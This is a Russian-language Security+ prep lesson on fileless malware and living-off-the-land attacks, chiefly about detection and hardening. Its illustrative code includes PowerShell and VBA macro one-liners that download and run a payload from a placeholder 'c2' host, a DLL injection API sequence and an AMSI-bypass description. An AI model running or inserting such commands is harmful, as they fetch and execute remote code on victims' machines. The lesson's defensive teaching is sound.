Безфайловое вредоносное ПО и атаки с использованием штатных средств
Узнайте, как безфайловое вредоносное ПО злоупотребляет легитимными инструментами (PowerShell, WMI, макросами), чтобы обходить традиционное обнаружение по сигнатурам.
«Безфайловое вредоносное ПО и атаки с использованием штатных средств» — бесплатный урок Cloud & IT Cert Prep на CoddyKit. Это урок 4 из 4. Ты можешь прочитать весь урок бесплатно ниже — а потом практиковать его прямо в браузере с встроенным редактором кода и ИИ-репетитором 24/7. Это часть пути обучения Cloud & IT Cert Prep, и твой прогресс синхронизируется между веб-версией и приложением CoddyKit. Курс Cloud & IT Cert Prep содержит 4 уроков всего.
Почему безфайловые атаки настолько эффективны
Традиционное вредоносное ПО записывает исполняемые файлы на диск, что дает сигнатурному антивирусу возможность просканировать и обнаружить их. Безфайловое вредоносное ПО работает полностью в памяти или злоупотребляет уже установленными легитимными инструментами, поэтому на диске не остается традиционных файлов вредоносного ПО, которые мог бы найти AV. Это значительно снижает эффективность обнаружения сигнатурными инструментами. Поставщики средств защиты сообщают, что вероятность успеха атак безфайлового вредоносного ПО в 10 раз выше, чем у атак с использованием файлов. Ограбление Bangladesh Bank в 2016 году, варианты Petya/NotPetya 2017 года и бесчисленные вторжения группировок, связанных с государствами, использовали безфайловые методы для сохранения присутствия и уклонения от обнаружения.
Методы использования штатных средств системы (LotL)
Атаки с использованием штатных средств системы (LotL) используют легитимные инструменты и утилиты, уже присутствующие в системе жертвы, для выполнения вредоносных действий. Эти инструменты — PowerShell, WMI, certutil, mshta, regsvr32, rundll32 — пользуются доверием ОС и средств защиты, поскольку у них есть легитимное предназначение. Злоумышленник, использующий только встроенные инструменты, может маскироваться под обычную административную деятельность. Для защитников сложность заключается в том, чтобы отличить вредоносное использование этих инструментов от обычной административной работы. Поэтому для методов LotL поведенческий анализ и учет контекста эффективнее сигнатурного обнаружения.
# Common LotL (LOLBins - Living Off the Land Binaries):
# certutil.exe - download files from internet
# mshta.exe - execute HTA (HTML Application) scripts
# regsvr32.exe - execute DLL or scriptlets remotely (Squiblydoo)
# rundll32.exe - execute DLL exports
# wmic.exe - WMI queries and lateral movement
# bitsadmin.exe - download/upload via BITS service
# powershell.exe - nearly unlimited capability
# cmstp.exe - bypass UAC, run scriptsPowerShell как инструмент атаки
PowerShell — наиболее часто используемый инструмент LotL, поскольку он предоставляет доступ ко всей платформе .NET, WMI и API Windows, оставляя минимум следов при выполнении в памяти. Злоумышленники загружают сценарии PowerShell непосредственно в память, не записывая их на диск, кодируют команды в Base64, чтобы скрыть их от средств регистрации событий, и используют такие возможности, как рефлексия, для загрузки сборок .NET в память. Среды Empire и Cobalt Strike активно используют PowerShell после получения доступа к системе. Защита включает PowerShell Constrained Language Mode, ScriptBlock Logging (записывает декодированное содержимое сценариев), Module Logging и ограничение круга пользователей, которым разрешено запускать PowerShell, с помощью групповой политики.
# PowerShell attack example (educational):
# Download and execute payload entirely in memory:
# powershell.exe -NoP -NonI -Exec Bypass -W Hidden -Enc <base64>
# IEX (New-Object Net.WebClient).DownloadString('http://c2/payload.ps1')
# Defense: Enable PowerShell logging (Group Policy):
# Computer Config -> Admin Templates -> Windows Components
# -> Windows PowerShell
# Turn on PowerShell Script Block Logging: Enabled
# Turn on Module Logging: Enabled
# Turn on Transcription: EnabledWMI для закрепления и перемещения по сети
WMI (Windows Management Instrumentation) — мощная функция Windows для управления системой, которой злоумышленники злоупотребляют для закрепления и перемещения по сети. Подписка на события WMI запускает команду при возникновении указанного события (например, каждые 5 минут, при входе в систему или при запуске определенного процесса). Такие подписки сохраняются после перезагрузки, хранятся в репозитории WMI и не отображаются как обычные запланированные задания или ключи автозапуска реестра, что позволяет обходить многие средства обнаружения закрепления. Злоумышленники также могут использовать WMI для удаленного запуска процессов в других системах через DCOM (порт 135), обеспечивая перемещение по сети без общих сетевых ресурсов.
# WMI event subscription for persistence (educational):
# Filter: every 5 minutes
# Consumer: execute powershell command
# Binding: connect filter to consumer
#
# Detection:
# Monitor WMI subscriptions:
Get-WMIObject -Namespace root\subscription -Class __EventFilter
Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding
# Sysmon Event ID 19/20/21: WMI events loggedМетоды внедрения в процессы
Внедрение в процесс позволяет вредоносному ПО выполнять вредоносный код в адресном пространстве легитимного доверенного процесса (explorer.exe, svchost.exe, notepad.exe). Вредоносный код наследует привилегии и идентификатор процесса, поэтому сетевые подключения выглядят так, будто их устанавливает доверенное приложение. Распространенные методы внедрения включают внедрение DLL (загрузка вредоносной DLL в другой процесс), опустошение процесса (создание приостановленного процесса, удаление его кода из отображения и замена его вредоносным кодом) и рефлексивное внедрение DLL (загрузка DLL непосредственно из памяти без записи на диск). Инструменты EDR обнаруживают внедрение, отслеживая последовательности вызовов API (OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread).
# DLL injection API sequence:
# 1. OpenProcess(PROCESS_ALL_ACCESS, target_pid)
# 2. VirtualAllocEx(target, NULL, dll_path_len, MEM_COMMIT, PAGE_READWRITE)
# 3. WriteProcessMemory(target, alloc_addr, dll_path, dll_path_len)
# 4. CreateRemoteThread(target, NULL, 0, LoadLibraryA, alloc_addr)
# Sysmon rules to detect injection:
# Event ID 8: CreateRemoteThread
# Event ID 10: ProcessAccess (targetted process opened)
# Event ID 25: ProcessTampering (image changed in memory)Документы с макросами как точки проникновения
Многие цепочки безфайловых атак начинаются с вредоносного документа Office, содержащего макросы VBA. Когда пользователь открывает документ и разрешает макросы (часто его заманивают сообщением вроде «Разрешите содержимое, чтобы просмотреть этот документ»), макрос запускает PowerShell для загрузки и выполнения полезной нагрузки непосредственно в памяти. Полезная нагрузка никогда не записывается на диск — на нем остается только исходный документ Office. Поэтому на экзамене Security+ особое внимание уделяется отключению макросов и развертыванию правил ASR (снижения поверхности атаки). Современные фишинговые среды для атак «человек посередине» (например, Evilginx2) также доставляют вредоносные документы после захвата учетных данных, чтобы развернуть RAT.
# Malicious macro flow (educational):
# 1. User receives .docm via email
# 2. User opens, clicks 'Enable Content'
# 3. VBA macro runs:
# Shell 'powershell -ep bypass -nop -c "IEX(New-Object Net.WebClient).DownloadString(''http://c2/stage2.ps1'')"'
# 4. PowerShell downloads stage2 into memory
# 5. stage2 runs shellcode / loads Cobalt Strike Beacon in memory
# 6. No malware files on disk; only the .docm exists
# ASR rule to block:
# 'Block all Office applications from creating child processes'AMSI: интерфейс сканирования защиты от вредоносного ПО
AMSI (Antimalware Scan Interface) — это API Windows, позволяющий приложениям (PowerShell, VBScript, JScript, Office) передавать содержимое установленному антивирусному ядру для сканирования во время выполнения, даже до записи содержимого на диск. AMSI позволяет поставщикам AV сканировать содержимое сценариев, которое в противном случае было бы невидимо для сканирования файлов. Злоумышленники пытаются обойти AMSI, изменяя amsi.dll в памяти так, чтобы для всех переданных данных возвращался результат «чисто», либо обфусцируя содержимое сценариев для обхода сопоставления сигнатур. Инструменты EDR отслеживают попытки изменения AMSI как признак безфайловой атаки.
# How AMSI works:
# PowerShell/WScript calls AmsiScanBuffer() before execution
# Windows Defender (or other AV) scans the buffer
# If malicious: AMSI returns AMSI_RESULT_DETECTED -> execution blocked
# AMSI bypass attempts to detect (Sysmon/EDR):
# Memory write to amsi.dll: patch AmsiScanBuffer to always return 0
# Unloading amsi.dll from process memory
# PowerShell Constrained Language Mode + AMSI = stronger defenseОбнаружение безфайловых атак
Для обнаружения безфайлового вредоносного ПО необходимо перейти от обнаружения на основе файлов к поведенческому мониторингу. Ключевые стратегии обнаружения включают: PowerShell ScriptBlock Logging фиксирует декодированное содержимое сценариев, даже если оно закодировано в командной строке; Sysmon регистрирует создание процессов с полными командными строками, сетевые подключения с указанием процессов-источников и изменения реестра; поведенческие правила EDR выдают оповещения о подозрительных связях между процессами (Word запускает PowerShell, PowerShell запускает cmd, certutil загружает исполняемые файлы); а пересылка событий Windows отправляет эти записи в централизованный SIEM для корреляции и долгосрочного хранения.
# Sysmon detection rules for LotL:
# Event ID 1: Process creation
# Alert if: Word.exe spawns cmd.exe or powershell.exe
# Alert if: certutil.exe with -urlcache -f parameters
# Alert if: mshta.exe with remote URL argument
# Event ID 3: Network connection
# Alert if: powershell.exe initiates outbound connection
# Alert if: mshta.exe connects to non-Microsoft IPs
# Event ID 7: Image loaded
# Alert if: known-bad DLL loaded into legitimate processОграничение использования инструментов LotL
Организации могут уменьшить поверхность атак LotL, ограничив круг пользователей, которым разрешено запускать мощные инструменты. PowerShell Constrained Language Mode ограничивает вызовы .NET, объекты COM и рефлексию, на которые рассчитывают злоумышленники. AppLocker и WDAC (Windows Defender Application Control) могут запретить запуск определенных двоичных файлов для пользователей без прав администратора. Проект LOLBAS каталогизирует известные двоичные файлы LotL вместе с используемыми ими методами атак, помогая защитникам определить, какие двоичные файлы следует отслеживать или ограничивать. Заблокировать все двоичные файлы LotL невозможно (многие из них необходимы для работы ОС), но отслеживать их использование с учетом контекста вполне возможно.
# PowerShell Constrained Language Mode:
$ExecutionContext.SessionState.LanguageMode = 'ConstrainedLanguage'
# Or via WDAC policy; CLM automatically applied when WDAC is active
# AppLocker: block mshta.exe for standard users
# Computer Config -> Windows Settings -> Security Settings
# -> Application Control Policies -> AppLocker
# Executable Rules -> Add Rule -> Deny -> mshta.exe (path rule)
# WDAC (stronger than AppLocker):
# Cannot be bypassed by local admin unlike AppLocker
# Enforced at kernel levelОхват безфайловых методов в MITRE ATT&CK
Фреймворк MITRE ATT&CK подробно описывает безфайловые методы и методы LotL. К ключевым подметодам относятся: T1059.001 (PowerShell), T1047 (выполнение через WMI), T1055 (внедрение в процесс), T1140 (деобфускация и декодирование файлов), T1003.001 (память LSASS для извлечения учетных данных) и T1546.003 (подписка на события WMI для закрепления). Сопоставление возможностей обнаружения с этими методами с помощью ATT&CK Navigator выявляет пробелы в покрытии и помогает разрабатывать правила SIEM. Фреймворк также содержит рекомендации по снижению рисков и обнаружению для каждого метода.
Итоги защиты от безфайлового вредоносного ПО
Многоуровневая стратегия защиты от безфайлового вредоносного ПО включает: включение регистрации событий PowerShell (ScriptBlock, Module, Transcription), развертывание Sysmon с комплексной конфигурацией, внедрение AMSI с обновленным антивирусным ядром, принудительное включение PowerShell Constrained Language Mode через WDAC, ограничение выполнения макросов в документах Office с помощью групповой политики, развертывание EDR с возможностями поведенческого обнаружения и пересылку всех записей в SIEM с правилами обнаружения известных вредоносных цепочек процессов. Сочетание ограничения поверхности атаки и повышения наблюдаемости значительно затрудняет выполнение безфайловых атак без обнаружения.
Быстрая проверка
Проверьте свое понимание концепций CompTIA Security+ (SY0-701) из этого урока.
Итоги урока
В этом уроке Вы узнали, что безфайловое вредоносное ПО работает в памяти и злоупотребляет легитимными инструментами ОС, такими как PowerShell, WMI и certutil, чтобы уклоняться от сигнатурного обнаружения; методы внедрения в процессы скрывают вредоносный код внутри доверенных процессов, используя API управления памятью Windows; а поведенческое обнаружение с помощью SIEM, Sysmon и EDR в сочетании с регистрацией событий PowerShell и AMSI обеспечивает наиболее надежную защиту от этих цепочек атак, уклоняющихся от сигнатурного обнаружения. Далее мы рассмотрим различия между сканированием уязвимостей и тестированием на проникновение.
Часто задаваемые вопросы
Урок «Безфайловое вредоносное ПО и атаки с использованием штатных средств» бесплатный?
Да — полный текст урока «Безфайловое вредоносное ПО и атаки с использованием штатных средств» бесплатно доступен здесь в веб-версии. Чтобы практиковать его интерактивно (встроенный редактор кода и ИИ-репетитор 24/7) и разблокировать остальной курс Cloud & IT Cert Prep, подпишись на CoddyKit PRO. Курс Cloud & IT Cert Prep содержит 4 уроков всего.
Чему я научусь в уроке «Безфайловое вредоносное ПО и атаки с использованием штатных средств»?
Узнайте, как безфайловое вредоносное ПО злоупотребляет легитимными инструментами (PowerShell, WMI, макросами), чтобы обходить традиционное обнаружение по сигнатурам. Ты практикуешь Cloud & IT Cert Prep с помощью реального кода, который запускаешь прямо в браузере, и ИИ-репетитор 24/7 отвечает на твои вопросы во время урока.
Нужен ли мне опыт, чтобы начать Cloud & IT Cert Prep?
Предыдущий опыт не требуется. Cloud & IT Cert Prep на CoddyKit структурирован для всех уровней — от новичков до продвинутых, поэтому ты можешь начать отсюда или с самого начала и учиться в своем темпе. Это урок 4 из 4.
Сколько времени занимает урок «Безфайловое вредоносное ПО и атаки с использованием штатных средств»?
Большинство уроков CoddyKit занимают около 5–10 минут. Каждый из них компактный и интерактивный, поэтому ты постоянно делаешь прогресс и продолжаешь с того же места в веб-версии и приложении.
Можно ли писать и запускать код в этом уроке Cloud & IT Cert Prep?
Да. Каждый урок Cloud & IT Cert Prep включает встроенный редактор кода, поэтому ты пишешь и запускаешь реальный код прямо в браузере и получаешь моментальную обратную связь от AI — локальная установка не требуется.
Все уроки этого курса
- Вирусы, черви и трояны
- Программы-вымогатели и криптоблокировщики
- Руткиты, шпионские программы и клавиатурные шпионы
- Безфайловое вредоносное ПО и атаки с использованием штатных средств